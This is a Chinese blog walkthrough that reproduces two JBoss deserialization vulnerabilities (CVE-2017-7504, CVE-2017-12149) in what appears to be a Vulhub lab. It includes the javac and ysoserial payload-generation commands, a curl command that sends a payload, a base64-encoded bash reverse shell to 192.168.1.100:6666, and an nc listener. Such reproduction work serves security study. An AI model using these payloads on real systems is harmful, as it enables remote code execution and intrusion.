JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
参考利用工具JavaDeserH2HC,我们选择一个Gadget:ExampleCommonsCollections1WithHashMap,编译并生成序列化数据:
1 |
javac -cp commons-collections-3.2.1.jar; ExampleCommonsCollections1WithHashMap.java |
注意点
- javac -cp 指明了.java文件里import的类的位置
- java -cp 指明了执行这个class文件所需要的所有类的包路径-即系统类加载器的路径(涉及到类加载机制)
- 路径在linux中用:隔开 在windows中用;隔开
可见,我们执行的命令是touch /tmp/success。执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser,将该文件作为body发送如下数据包:
1 |
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser |
或使用 Postman
JBoss5.x/6.x反序列化漏洞(CVE-2017-12149)
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
工具:http://www.jackson-t.ca/runtime-exec-payloads.html
序列化数据生成
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
1 |
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} " >poc.ser |
监听端口,等待反弹
1 |
nc -lvp 6666 |
发送POC
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
参考文章:
FROM :blog.cfyqy.com | Author:cfyqy
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论